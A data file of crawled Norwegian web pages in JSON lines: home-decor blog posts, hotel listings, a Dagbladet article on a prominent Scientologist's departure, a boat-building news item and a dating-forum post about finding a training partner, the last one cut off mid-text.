{"url": "http://pernilleslykkeligesysler.blogspot.com/2014/08/bitteliten-titt-pa-kjkkenet.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:39:49Z", "text": "\n\n## torsdag 28. august 2014\n\n### BITTELITEN TITT P\u00c5 KJ\u00d8KKENET\n\nOmgj\u00f8ring p\u00e5 kj\u00f8kkenet\u00a0er i gang\\!  \nHer kommer noen bilder av hvordan det ser ut s\u00e5 langt.\n\n\u00a0\n\n\n\u00a0\nKj\u00f8kken-\u00f8ya er borte, den sto ut fra veggen der stekeovnen st\u00e5r n\u00e5.\n\nP\u00e5 gulvet ser dere hvor barkrakkene sto, de har laget slitemerker etter seg\\!\n\nFysj og fy, men gulvet skal males samme farge som stuegulvet.\n\nBenkeplate har vi bestilt, men kommer ikke f\u00f8r i midten av september, \n\ns\u00e5 i mens har Dag mekket noe.\n\n\u00a0\n\n\n\u00a0\nVi m\u00e5tte ha ny avtrekksvifte, da den vi hadde var fritthengende.\n\nDet gjorde absolutt ingenting for da fikk vi ny fin og hvit\\!\n\nH\u00e5per ogs\u00e5 at vi skal ha ny stekeovn etter hvert, har s\u00e5 lyst p\u00e5 hvit der og.\n\n\u00a0\n\n\n\u00a0\n\u00a0S\u00e5\u00e5\u00e5\u00e5\u00e5 digg \u00e5 f\u00e5 bort den m\u00f8rke store kj\u00f8kken-\u00f8ya som gjorde at kj\u00f8kkenet bare f\u00f8ltes halvparten s\u00e5 stort som det egentlig er.\n\nVeggene er malt i samme farge som i tv-stua...\n\n\u00a0\nDet kommer fler bilder etter hvert som vi blir mer ferdige\\!\n\n\u00a0\nI morgen skal\u00a0jeg p\u00e5 kjedesamling med jobben.\n\nVi skal spise b\u00e5de lunsj og middag p\u00e5 Mathallen i Oslo, det gleder jeg meg til\\!\n\nHar aldri v\u00e6rt p\u00e5 Mathallen f\u00f8r...\n\n\u00a0\nFlott kveld til dere alle,\n\nklem fra\n\nHilde Pernille\n\n1.  \n    \n    HOME29. august 2014 kl. 14:46\n    \n    love..\n    \nP\u00e5 grunn av mye spam-kommentarer, er jeg n\u00f8dt til \u00e5 ha ordrebekreftelse p\u00e5 kommentarene- beklager dette.  \nH\u00e5per du likevel legger igjen spor etter deg.  \nDet settes stor pris p\u00e5\\!\n\n    \n\n## Hilde Pernille Opseth, Pernilles Interi\u00f8rsysler\n\nF\u00f8dt i 1979.  \nBor p\u00e5 Haga sammen med min kj\u00e6re Dag og v\u00e5re to d\u00f8tre Amalie Marie og Mie Sofie.  \nInteri\u00f8r og innredning er min store lidenskap, s\u00e5 det skjer stadig sm\u00e5 og store endringer innenfor v\u00e5re vegger.  \nHer er min interi\u00f8rdagbok, og jeg blir veldig glad om du vil ta del i den.  \nF\u00f8lg meg gjerne her p\u00e5 bloggen eller p\u00e5 facebook\\!  \nVelkommen skal du v\u00e6re og h\u00e5per du vil trives.  \n\n    \n\n", "language": "no", "__index_level_0__": "b9548b4f-c054-40ed-a4ae-4ba4e5f1cab5"}
{"url": "https://no.hotels.com/de10813004/hoteller-san-martin-de-la-virgen-de-moncayo-spania/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:56:03Z", "text": "## Leter du etter hotell i San Mart\u00edn de la Virgen de Moncayo?\n\n### Oversikt over San Mart\u00edn de la Virgen de Moncayo\n\nUansett hva du ser etter, s\u00e5 har San Mart\u00edn de la Virgen de Moncayo noe for deg. Selv om det kanskje ikke finnes s\u00e5 mange velkjente severdigheter i San Mart\u00edn de la Virgen de Moncayo, beh\u00f8ver du ikke \u00e5 dra langt for \u00e5 bes\u00f8ke steder som Slottet i Trasmoz og Veruela klosterkirke. Sett av litt tid til \u00e5 f\u00e5 med deg severdigheter i omr\u00e5det, som San Miguel erkeengelen kirke og Plaza de Toros.\n\n### Her b\u00f8r du bo i San Mart\u00edn de la Virgen de Moncayo\n\nUansett om dere skal p\u00e5 en enkelt overnatting eller en lengre ferie, s\u00e5 har San Mart\u00edn de la Virgen de Moncayo hotellet som oppfyller alle kravene dine. Det finnes overnattingsmuligheter i San Mart\u00edn de la Virgen de Moncayo med opptil 15\u00a0% i rabatt. V\u00e5re rompriser starter p\u00e5 183 kr per natt og nedenfor kan du se en gjennomgang av hotellene i San Mart\u00edn de la Virgen de Moncayo og omegn etter antall stjerner  \n\n  - \u2022 7\u00a0***firestjernershoteller***\u00a0fra NOK 817 per natt\n  - \u2022 8\u00a0***trestjernershoteller*** fra NOK 331 per natt\n\n### Severdigheter rundt San Mart\u00edn de la Virgen de Moncayo\n\nHer ser du noen anbefalte steder \u00e5 bes\u00f8ke i omr\u00e5det:\n\n  - \u2022 Slottet i Trasmoz (5,7 km fra sentrum)\n  - \u2022 Veruela klosterkirke (8,4 km fra sentrum)\n  - \u2022 San Miguel erkeengelen kirke (9,1 km fra sentrum)\n  - \u2022 Plaza de Toros (9,3 km fra sentrum)\n  - \u2022 Santa Maria Magdalena kirke (9,3 km fra sentrum)\n\n", "language": "no", "__index_level_0__": "edd2005d-e257-4950-a4d3-765db53a4763"}
{"url": "https://www.agoda.com/nb-no/apartment-solitudo/hotel/dubrovnik-hr.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:46:23Z", "text": "## Mer om Apartment Solitudo\n\n## Oppsummering\n\nApartment Solitudo, som ligger i Waterfront Area, Dubrovnik, er et popul\u00e6rt valg for reisende. Herfra har gjester lett tilgang til alt den livlige byen har \u00e5 tilby. For sightseeing og lokale attraksjoner, trenger man ikke lete lenge siden hotellet ligger i n\u00e6rheten av Lapad Bay, Lapad Open-Air Cinema, Adriatic Kayak Tours.  \n  \nP\u00e5 Apartment Solitudo, anstrenger vertskapet seg for at gjestene skal v\u00e6re komfortable. For \u00e5 gj\u00f8re dette, tilbyr hotellet de beste tjenester og fasiliteter. Hotellet har mange fasiliteter p\u00e5 eget omr\u00e5de som kan tilfredsstille selv den mest kresne gjest.  \n  \nAtmosf\u00e6ren ved Apartment Solitudo gjenspeiles p\u00e5 alle rom. klimaanlegg, balkong/terasse, TV, satellitt-/kabel-TV, kj\u00f8leskap er bare noen av fasilitetene som finnes over hele hotellet. Hotellet tilbyr mange unike fritidsmuligheter, for eksempel hage. Nyt enest\u00e5ende tjenester p\u00e5 den prestisjefylte adressen til Apartment Solitudo.\n\n## Sengeoppsett\n\n  - **Fellesomr\u00e5de** 1 enkeltseng, 1 dobbeltseng, 1 sofaseng\n    ** ** **\n## Fasiliteter\n\n  - ** **balkong/terasse**\n  - ** **Egen inngang\u00a0**\n  - ** **h\u00e5ndkl\u00e6r**\n  - ** **Kabel-TV**\n  - ** **kj\u00f8kkenutstyr**\n  - ** **Klesskap\u00a0**\n  - ** **senget\u00f8y**\n  - ** **Strykejern\u00a0**\n  - ** **Vaskemaskin\u00a0**\n\n", "language": "no", "__index_level_0__": "90a2461f-8b74-46dc-bf1d-3e4ca63fec25"}
{"url": "https://vibekedesign.blogspot.com/2012/09/et-blatt-inpirasjonsted.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:20:35Z", "text": "You can\\`t use up CREATIVITY..the more you use ,the more you have....\n\n## fredag 21. september 2012\n\n### Et bl\u00e5tt inpirasjonsted \\!\n\n\n\n\u00a0Velkommen til mitt nye inspirasjonsted..i vestfoldbl\u00e5tt\\!Har lenge n\u00e5 \u00f8nsket meg et slikt sted og etter at jeg fant denne kj\u00f8pmannshyllen p\u00e5 Finn for en stund siden, har ideene bare str\u00f8mmet p\u00e5...Det har nok tatt litt lengere tid enn vanlig med dette prosjektet,grunnet en influensa preget Vibeke. Men en smule gnist er tilbake i dag,selv om man skulle \u00f8nske \u00e5 v\u00e6re helt kvitt hodeverken som kommer titt og ofte kommer p\u00e5 bes\u00f8k...:(  \n\n\n\n\u00a0Var veldig i tvil om \u00e5 kj\u00f8re alt i denne fantastiske bl\u00e5fargen,men s\u00e5 slo jeg til (det er jo bare maling vet dere...:)Hyllen var opprinnelig irrgr\u00f8nn og har st\u00e5tt i en landhandel p\u00e5 Hamar i sin tid.Den var malt i denne bl\u00e5tonen n\u00e5r jeg hentet den, \u00e5 ble heeeelt betatt av fargen som brukt mye fra gammelt av i Vestfold.Derfor fikk jeg med koden \u00e5 malte det gamle kj\u00f8kkenbordet v\u00e5rt i samme farge. Snakk om at det bordet f\u00e5r gjennomg\u00e5..hi,hi...:)F\u00f8rst kj\u00f8kkenbord,s\u00e5 hobbybord hvor jentene v\u00e5re har laget de mest fantstiske barnekunstverk,s\u00e5 kj\u00f8kkenhagebord og N\u00c5 er skal det bli en plass for hygge,kreativitet og inspirasjon\\!Det kaller jeg gjenbruk:)  \n\n\n\n\u00a0Alle mine bl\u00e5skatter ropte n\u00e6rmest om \u00e5 f\u00e5 plass her,og n\u00e5 kan de betraktes titt og ofte p\u00e5 sin nye plass:)  \n\n\n\n\n\n  \n\n\n\n\n\u00a0   \nKj\u00e6re alle sammen riktig, GOD HELG \\! Selv \u00f8nsker jeg meg en enegifyllt og kreativ helg,m\u00e5tte det str\u00f8mme p\u00e5 igjen:))\n\nKlem fra Vibeke \n\n  \n Lagt inn av Vibeke S\u00e6ther Svenningsen   19.19 fredag, september 21, 2012        \n\n#### 16 kommentarer:\n\n1.  \n    \n    fru Hansens Kreativiteter21. september 2012 kl. 04:30\n    \n    S\u00e5\u00e5\u00e5 vakker bl\u00e5 farge , har lysebl\u00e5tt p\u00e5 mitt kj\u00f8kken og elsker det :)  \n    Ha en str\u00e5lende helg :)  \n      \n    klem\n    \n2.  \n    \n    Else Fogt21. september 2012 kl. 04:43\n    \n    Sjovt passer jo lige til den nye lampe jeg har lagt p\u00e5 siden SMUKT rigtig dejlig weekend herfra s\u00f8de.Knus Else\n    \n3.  \n    \n    lavendel mio21. september 2012 kl. 04:50\n    \n    For en nydelig bl\u00e5 hylle med mange fine skatter\\!  \n    De sm\u00e5 fatene p\u00e5 nederste rekker der har jeg ogs\u00e5:)  \n    Bordet ble skikkelig lekkert.  \n    Ja, her var det mye vakkert \u00e5 hvile \u00f8ynene p\u00e5:)  \n    \u00d8nsker deg en fin helg.  \n    Klem Hanne\n    \n4.  \n    \n    BROCANTE21. september 2012 kl. 06:09\n    \n    Nydelig bl\u00e5farge - s\u00e5 delikat\\!\n    \n5.  \n    \n    G\u00e5rdsjenta21. september 2012 kl. 06:16\n    \n    S\u00e5 utrolig nydelig\\!\\! S\u00e5 mye fint du har i bl\u00e5tt. OG s\u00e5 flotte hyller\\!  \n    Inspirerende bilder :)  \n      \n    \u00d8nsker deg god bedring :)\n    \n6.  \n    \n    livess21. september 2012 kl. 06:33\n    \n    S\u00e5 nydeligt. Likte denne bl\u00e5fargen. En kjempeflott plass du har f\u00e5tt. God helg fra Liv.\n    \n7.  \n    \n    Mor Inger\\`s hus21. september 2012 kl. 07:09\n    \n    Noe av det fineste jeg har sett, s\u00e5 reint og delikat.  \n    Bl\u00e5tt er godt :)  \n      \n    Klem fra Inger\n    \n8.  \n    \n    Camilla Kittilsen21. september 2012 kl. 08:27\n    \n    Nydelig plass og ikke minst bl\u00e5farge :)  \n    God helg, vennen :)  \n      \n    Klem klem\n    \n9.  \n    \n    STENLYCKA21. september 2012 kl. 08:54\n    \n    K\u00e4ra v\u00e4n hoppas du snart \u00e4r kry och pigg igen, inte kul med influensa.  \n    Vilken underbar bl\u00e5 f\u00e4rg f\u00f6rst\u00e5r att du blev f\u00f6rtjust i den och s\u00e5 mycket vackert du har p\u00e5 hyllorna.Allt \u00e4r en njutning f\u00f6r \u00f6gat som alltid n\u00e4r jag bes\u00f6ker dig\\!  \n    Stor kram och m\u00e5 s\u00e5 gott\\!  \n    Raina\n    \n10. \n    \n    ingridsboble21. september 2012 kl. 09:08\n    \n    For en nydelig farge\\!  \n    god h\u00f8sthelg til deg :)  \n    Ingrid\n    \n11. \n    \n    Tinis vita hem21. september 2012 kl. 09:19\n    \n    J\u00e4ttevackert har du ordnat :)  \n    Ha en fin helg\\!  \n    kram Tini\n    \n12. \n    \n    My home is my Castle - by Kari21. september 2012 kl. 09:33\n    \n    Vakkert \\!\\!\\!  \n      \n    Klem,Kari\n    \n13. \n    \n    Hjem og Glede21. september 2012 kl. 09:39\n    \n    Herlighet s\u00e5 flott Vibeke....  \n    Du imponerer stadig.  \n    Og bl\u00e5tt er jo \"din\"farge og den kler deg godt\\!  \n    Vakkert med alle dine skatter der.  \n      \n    N\u00e5 har jeg akkurat v\u00e6rt ute i solen og plukket masse h\u00f8st som jeg skal pynte med i morgen da min storebror skal feire 50 \u00e5r\\!  \n    Tale skal jeg holde ogs\u00e5....heldigvis sammen med alle de andre s\u00f8skene mine,trygges det\\!  \n      \n    M\u00e5 du ha en lovely helg og tusen tusen takk for en nydelig mail....  \n    Klemmer i fleng\\!\n    \n14. \n    \n    am design21. september 2012 kl. 14:17\n    \n    Hei Vibeke. s\u00e5 nydelig bl\u00e5farge\\!\\!\\!  \n    Det ble kjempefint\\!\\! Og veldig g\u00f8y med gjenbruk da\\!\\!\\! Det er s\u00e5 deilig at det er helg\\!\\!\\!  \n    Og i morgen har jeg fri\\!\\!\\!  \n    Da skal jeg og ei venninne ta turen til Skrot Tor\\!\\!\\! Gleder meg veldig\\!\\!\\!  \n    Ha en fin helg\\! og fortsatt god bedring\\!\\!  \n    Klem fra Anne-Marit :))\n    \n15. \n    \n    Monica21. september 2012 kl. 14:38\n    \n    Herlighet s\u00e5 flott\\!  \n    Vakkert \u00e5 samle dine bl\u00e5 skatter der.  \n    \u00d8nsker deg en riktig fin helg, og masse god bedring.  \n    Smil og klem fra Monica\n    \n16. \n    \n    Monica22. september 2012 kl. 05:23\n    \n    Dette ble superfint, og s\u00e5 mange nydelige bl\u00e5-skatter du har, liker spesielt godt de fatene du har i m\u00f8nsteret Rokokko (tror det heter det), det m\u00f8nsteret som er i fatet under hyssingn\u00f8stet. Bestemor hadde servise i det m\u00f8nsteret, s\u00e5 jeg har begynt litt \u00e5 samle p\u00e5 det, men det er ikke s\u00e5 lett \u00e5 finne noe av det. Minner meg litt om et skap jeg har p\u00e5 glassverandaen dette, jeg viste litt av det med en kopp med bl\u00e5b\u00e6r en gang, men f\u00f8ler ikke jeg er kommet helt i m\u00e5l til \u00e5 vise hele skapet enda, men det kommer ;-))\n    \n## Velkommen \\!\n\n  \n\n    \n\nJeg er Vibeke \\!  \nJeg bor i vakre Norge,og elsker den skandinaviske stilen.  \nHelt siden jeg var ei lita jente har jeg likt \u00e5 fylle dagen med  \nkreative sprell. Jeg har stort sett et prosjekt p\u00e5 gang,alt fra maling av malerier til oppussing av gamle m\u00f8bler.  \nJeg er en loppistraver av de store og elsker den landlige hvite stilen.  \nHyggelig at nettopp DU vil f\u00f8lge med p\u00e5 mine sprell :)  \n  \n  \n    \n\n  \ncopyright: Vibeke Design  \n  \n    \n    Ei vakker lita jente p\u00e5 bes\u00f8k....\n\n    Vakker forvandling \\!\n\n", "language": "no", "__index_level_0__": "d0a21c90-bb9e-4426-b400-4401c6b2826f"}
{"url": "https://www.dagbladet.no/nyheter/logner-trakassering-og-undertrykkelse/65275797", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:12:55Z", "text": "## \\- L\u00f8gner, trakassering og undertrykkelse\n\nNorges fremste scientolog, Geir Isene, har brutt med bevegelsen.\n\n26\\. august 2009 kl. 19.47\n\n(Dagbladet): - Jeg vil kaste lys over alle overtrampene Scientologikirken gj\u00f8r, sier Geir Isene til Dagbladet.\n\n*\u00abDet koker ned til personlig integritet. Jeg kan ikke lenger v\u00e6re del av en organisasjon hvor ledelsen lyver, trakasserer og undertrykker den frie vilje hos sine medlemmer. Scientologisk filosofi er en gullgruve. Kirken har for lengst fjernet seg fra l\u00e6ren,\u00bb* skriver han p\u00e5 sin hjemmeside.\n\n**Geir Isene, IT-gr\u00fcnder og familiefar, har v\u00e6rt scientolog siden 1984. Det er han fremdeles, men har n\u00e5 brutt med bevegelsen eller Scientologikirken, som er medlemmenes foretrukne benevnelse p\u00e5 organisasjonen.**\n\nUt fra diskusjonsfora og blogger p\u00e5 nettet er det \u00e5penbart at Isenes beslutning ryster bevegelsen. Ikke bare er Geir Isene Norges fremste scientolog. Han har oppn\u00e5dd niva OT VIII, h\u00f8yeste tilgjengelige niv\u00e5, noe som gj\u00f8r ham til en betydelig scientolog ogs\u00e5 internasjonalt. If\u00f8lge scientologibevegelsens far L. Ron Hubbard, er OT (Operating Thetan) et spirituelt niv\u00e5 h\u00f8yere en det niv\u00e5et de fleste scientologer strekker seg etter - Clear.\n\n**- Pengepress**  \nIsene har beveget seg i framst\u00e5ende scientologikretser, og har m\u00f8tt n\u00e5v\u00e6rende leder for bevegelsen David Miscavige. N\u00e5 har han, etter to \u00e5rs grundig dokumentasjonsarbeid, kommet til at han ikke lemger kan v\u00e6re del av organisasjonen.\n\n\\- Man kan ikke sette likhetstegn mellom Scientologikirken og L. Ron Hubbards filosofi og l\u00e6re. Jeg synes det er helt greit \u00e5 ta betalt for tjenester, men at folk skal presses til \u00e5 betale, synes jeg er dumt. Pengepress forekommer i b\u00f8tter og spann, sier Isene og utdyper:\n\n**- Siden 1984 har Scientologikirken hatt som policy \u00e5 kreve rene donasjoner av sine medlemmer for ingenting. For folk litt oppe i systemet er det blitt avholdt obligatoriske m\u00f8ter hvor man er blitt avkrevd obligatoriske donasjoner til bevegelsen. Folk er n\u00e6rmest blitt tvunget til \u00e5 betale penger, forteller Geir Isene.**\n\nSelv sier Isene at han har bidratt med det han har villet, og aldri har gitt penger han ikke har hatt.\n\n\\- Jeg har v\u00e6rt en slags rebell i systemet og har gjort som jeg ville hele veien, sier han.\n\nP\u00e5 sin hjemmeside framholder Isene at han har hatt og fremdeles har stort spirituelt utbytte av scientologisk filosofi og teknikker. Han vil fortsette \u00e5 hjelpe seg selv og andre gjennom Hubbards l\u00e6re.  \n**  \nL\u00f8gner**  \nIsene har rett og slett sett seg lei p\u00e5 en organisasjonsledelse han mener ikke lenger forfekter denne l\u00e6ren. Og han er lei av l\u00f8gnene.  \n*  \n\u00abI motsetning til hva vi blir forledet til \u00e5 tro, er ikke Scientologikirken den raskest voksende religionen i verden. Det er ikke \u00e5tte millioner scientologer,\u00bb* skriver Isene i sitt avskjedsbrev til bevegelsen.\n\n**- Et press fra oven er at Scientologikirken i Norge skal skaffe seg en bygning i 100-millionersklassen. Hvordan skal det la seg gj\u00f8re? Da m\u00e5tte de 50 scientologene i Norge hoste opp to millioner kroner hver, sier Isene.**\n\nHans beslutning om \u00e5 trekke seg ut av bevegelsen har ikke g\u00e5tt up\u00e5aktet hen.\n\n\\- Overraskende nok er det ikke kommet utfall mot meg, men jeg har to ansatte som er scientologer. De blir n\u00e5 fors\u00f8kt presset til \u00e5 slutte hos meg. De er blitt stilt et latterlig ultimatum som best kan sammenliknes med bannlysningen den katolske kirken holdt p\u00e5 med p\u00e5 1600-tallet, sier Geir Isene.  \n**  \nMange e-poster**  \nHan forteller at han har mottatt utallige e-poster, b\u00e5de fra scientologer og ikke-scientologer, etter at han proklamerte sin avskjed med bevegelsen p\u00e5 nett.  \n**  \n\\- Effekten er st\u00f8rre enn jeg hadde trodd. Flere ansette scientologer skriver at de ogs\u00e5 vil forlate kirken, sier Geir Isene.**\n\n*- Hva mener du er \u00e5rsaken til at det er g\u00e5tt galt med scientologibevegelsen?*\n\n\\- Det blir bare spekulasjoner, men gir du folk nok makt, skjer det saker og ting.  \n**  \n\\- Et valg han selv m\u00e5 st\u00e5 for**  \nTalsmann for scientologibevegelsen i Norge, Matthias Fosse, ser ikke dramatikken i at Isene forlater organisasjonen.\n\n**- Folk forlater ulike religioner hele tida, uten at det vekker oppsikt. Isene har tatt et valg som han selv m\u00e5 st\u00e5 for, sier Fosse f\u00f8r han ber om at videre sp\u00f8rsm\u00e5l blir sendt per e-post.**\n\n*Dagbladet sendte en e-post hvor Fosse blir gitt anledning til \u00e5 svare p\u00e5 de ulike p\u00e5standene Isene kommer med om scientologibevegelsen. Sp\u00f8rsm\u00e5lene og svarene er gjengitt nedenfor:*\n\n\\- Geir Isene har meldt seg ut, har du noen kommentar til det?\n\n\\- Det er ikke kirkens praksis \u00e5 debattere et tidligere medlems beslutning om \u00e5 forlate Scientologi p\u00e5 nasjonal TV. Det er en privat beslutning og i v\u00e5re \u00f8yne burde det forbli det. Alle religioner har folk som ikke tror lenger og folk som melder seg ut. Kirken respekterer andres religi\u00f8se tro og tror ogs\u00e5 at alle har en rett til \u00e5 praktisere sin egen valgte tro, og veien de tror vil lede dem til \u00e5ndelig frelse og opplysning.  \n*  \n\\- Har dere kalt inn medlemmer som er venner av Geir til m\u00f8ter etter at han meldte seg ut?*\n\n\\- Faktisk har det v\u00e6rt slik at flere av dem som ble kontaktet av Geir som s\u00e5 tok kontakt med kirken fordi de hadde sp\u00f8rsm\u00e5l om dette. I etterkant av dette kontaktet vi ogs\u00e5 selv flere personer fordi vi antok at de ogs\u00e5 kunne ha tilsvarende sp\u00f8rsm\u00e5l.  \n*  \n\\- Om s\u00e5, hva snakket dere om p\u00e5 disse m\u00f8tene?*\n\n\\- Dette var private samtaler med medlemmer av kirken som \u00f8nsket sine sp\u00f8rsm\u00e5l besvart.  \n*  \n\\-Geir Isene hevder at det n\u00e5 blir kj\u00f8rt en bakvaskelseskampanje mot ham i regi av Scientologikirken i den hensikt \u00e5 diskreditere han. Har du noen kommentar til det?*\n\n\\- V\u00e5re medlemmer har ikke noe problem med at Geir melder seg ut, men de har uttrykt vemmelse over at han offentlig faller folk i ryggen som han kaller for venner. Enhver negativitet Geir opplever har blitt direkte for\u00e5rsaket av hans egen oppf\u00f8rsel.\n\n*-Er det sant at de som ikke bryter all kontakt med Geir, selv risikerer \u00e5 bli kastet ut av Scientologikirken i Norge?  \n*  \n\\- N\u00e5r noen forlater Scientologi offentlig regnes det som en undertrykkende handling, medlemmer tar avstand fra dette og vil normalt kutte forbindelsen med slike mennesker inntil de ser at de har gjort en feil og gj\u00f8r opp for dette. Det er et vanlig triks av de som angriper Scientologikirken og/eller religionen, eller for den saks skyld enhver annen kirke eller gruppe \u00e5 rope opp om at folk bryter med dem, dette til tross for at det er deres angrep som for\u00e5rsaker bruddet. N\u00e5r man har i bakhodet at Scientologikirken er en minoritetsreligion vil slike anti-scientologer pr\u00f8ve \u00e5 lage sensasjonelle historier om \"praksisen\" for \u00e5 videre skade kirken.  \n*  \n\\- Hva gj\u00f8r dere n\u00e5r noen melder seg ut?*\n\n\\- Normalt ingenting, n\u00e5r det blir gjort offentlig vil det vanligvis ende med at personen offisielt blir utst\u00f8tt fra kirken.\n\n*- F\u00e5r det konsekvenser?*\n\n\\- Bare det \u00e5 slutte har ingen konsekvenser, svarer Matthias Fosse.  \n", "language": "no", "__index_level_0__": "bf4a6181-01cd-45a4-85f0-6d86c4a321b7"}
{"url": "http://turbolotte.blogspot.com/2008/09/changes.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:24:11Z", "text": "## onsdag 3. september 2008\n\n### Changes\n\n  \nNoen forandringer m\u00e5 til av og til. Mulig dette ble litt m\u00f8rkt, men jeg f\u00e5r pr\u00f8ve det en stund. Jeg finner ikke ut hvordan jeg f\u00e5r bloggtittelen lengre ned p\u00e5 bildet.. \u00e6sj. Noen som vet? Skulle gjerne ha skiftet font ogs\u00e5. Men f\u00e5r bare opp noen f\u00e5 valg. Tips mottas med takk.  \n  \n  \n*A little change today, i don\\`t know if the colour is too dark, but I\\`ll try this for a while.*\n\n\n  Lagt inn av Charlotte Myhre   kl. 14:41                 \n\n Etiketter: ny \n#### 3 kommentarer:\n\n\n\n\n\nIda sa...\n\nJeg er den f\u00f8rste i rekken her. Stilig\\! ;)  \nJeg liker veldig godt den svarte bakgrunnen.  \nJeg synest at farger og kontraster kommer godt frem mot svart bakgrunn.  \nTror ikke jeg noen gang kommer til \u00e5 endre min..... ;)\n\n 4. september 2008 kl. 17:13    \n\n\n\n\n\nIda sa...\n\nJeg vet forresten ikke om det er mulig \u00e5 flytte bloggtittelen....?  \nSelv har jeg laget tittelen min p\u00e5 ett bilde i ett redigeringsprogram.  \nHar ikke brukt malen hos Blogspot.  \nEr forn\u00f8yd med det.\n\n 4. september 2008 kl. 17:15    \n\n\n\n\n\nMarianne sa...\n\nTakk for rosende ord, det varmer godt : )S\u00e5 fine hagesider dere lager, har surfa litt rundt jeg n\u00e5\\!  \nHilsen Marianne\n\n 4. september 2008 kl. 18:36    \n\n", "language": "no", "__index_level_0__": "e65075d5-b35c-40ff-beba-abfe53728690"}
{"url": "https://www.porten.no/artiklar/vision-of-the-fjords-far-sosterbat/394286", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:21:35Z", "text": "\n\n# \u00abVision of the Fjords\u00bb f\u00e5r s\u00f8sterb\u00e5t\n\nReiarlaget bak turistb\u00e5ten\u00a0\u00abVision of the Fjords\u00bb har bestemt seg for \u00e5 bestille ein b\u00e5t nummer to av same slaget, skriv Skipsrevyen.\n\n  - 1\\. jan. 2017 - 08:24\n\nDen prisl\u00f8nte \u00abVision of the Fjords\u00bb hadde\u00a0denne sommaren sin f\u00f8rste sesong som turistb\u00e5t p\u00e5 N\u00e6r\u00f8yfjorden i Sogn. Det har vore s\u00e5 vellykka at selskapet The Fjords no vil ha ein b\u00e5t til fr\u00e5 hurtigb\u00e5tverftet Br\u00f8drene Aa i Hyen i Gloppen.\n\nDen nye karbonb\u00e5ten skal vere ferdig i mars 2018, slik at han kan setjast i drift i N\u00e6r\u00f8yfjorden sommaren 2018, skriv\u00a0Skipsrevyen.\n\nNybygget f\u00e5r truleg litt lenger skrog enn forgjengaren, noko som skal gi mindre b\u00f8lgjer og betra batterikapasitet p\u00e5 hybridb\u00e5ten, som vekselvis g\u00e5r p\u00e5 diesel og straum. Det landbaserte ladesystemet skal \u00f2g forbetrast, slik at ladetida blir kortare, if\u00f8lgje avisa.\n\nBr\u00f8drene Aa er i desse dagar i ferd med \u00e5 gjere klar den siste av to nye hurtigb\u00e5tar verftet no har bygd for eit trafikkselskap i Hongkong.\n\nVerftet i Hyen skal elles levere tre nye passasjerb\u00e5tar til trafikkselskapet Boreal denne v\u00e5ren.\n\n", "language": "no", "__index_level_0__": "1d6b9d11-1694-4120-aa8c-079080095042"}
{"url": "https://sukker.no/dating-forum/809680-Treningspartner+s%C3%B8kes.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:45Z", "text": "# Treningspartner s\u00f8kes\n\nSkjult ID med pseudonym dvask31M ma. 10 sep. 2012 14:31  \n\nHar nettopp kommet ut av et lengre forhold, og ser av den grunn ikke ut. Fasaden har forfallt betraktlig, og jeg selvtillitten er derfor p\u00e5 b\u00e5nn.  \n  \nSer derfor etter noens om kan v\u00e6re med \u00e5 trene frem six-packen jeg en gang bar p\u00e5 med stolthet.  \nSamtidig \u00f8nsker jeg \u00e5 g\u00e5 ned de 10 kg som jeg har f\u00e5tt med p\u00e5 kj\u00f8pet. Fettet har f\u00e5tt vokse fritt p\u00e5 kroppen, og jeg merker at jeg blir bare mer og mer deprimert av den grunn. P\u00e5 tide \u00e5 ta tak i side-flesket og gj\u00f8re noe med det\\!  \n  \nHar v\u00e6rt st\u00f8ttemedlem p\u00e5 treningssenteret i ca 5 \u00e5r, og v\u00e6rt der i snitt 5 ganger p\u00e5 hele den tiden. Klarer ikke \u00e5 f\u00e5 meg til \u00e5 dra dit alene.  \n  \nMen... s\u00e5\u00e5 ...her i fjor kj\u00f8pte jeg meg en sykkel. En kjempefin, dyr sykkel. Og jeg ble helt bitt av sykkelbasillen.  \nDet samme gjorde jeg med langrennski. Kjempeartig. Selv om jeg hater ...HATER \u00e5 g\u00e5 p\u00e5 ski n\u00e5r det er mer enn 5 bl\u00e5 :s St\u00e5r fors\u00e5vidt ogs\u00e5 snowboard da. Det er jo ogs\u00e5 kjempeg\u00f8y\\!  \n  \n..men det er s\u00e5 kjedelig \u00e5 gj\u00f8re det alene\\!  \n  \nUansett... Hvis du er der ute, og du kanskje har lyst til \u00e5 ha noen med p\u00e5 \"slep\", eller bare ha noen \u00e5 le av / le med p\u00e5 sykkeltur/langrennst tur, s\u00e5 skrik ut. Jeg kan ikke love deg at jeg er noen bra treningspartner men jeg kan love deg mye humor og pinlige stunder.  \n  \nJeg er nok ganske sikker p\u00e5 at jeg ikke den rette for deg, men hvorfor ikke sammarbeide mot et felles m\u00e5l, om \u00e5 m\u00f8te denne \"dr\u00f8mmekj\u00e6rsten\" som det s\u00e5 fint heter her p\u00e5 Sukker...? ;)\n\n (mann 36 \u00e5r fra Oslo)  ma. 10 sep. 2012 14:36  Privat melding \n\nHepp hepp\\!  \n  \nJeg vet ikke hvor du bor eller hvilket senter du trener p\u00e5, men synes det er bra at du har bestemt deg for \u00e5 ta grep. 10 kg er ingen ting. Det fikser du lett p\u00e5 10 uker ved fokus p\u00e5 kosthold og trening.  \n  \nSelv trener jeg p\u00e5 Sats, mye sykling og 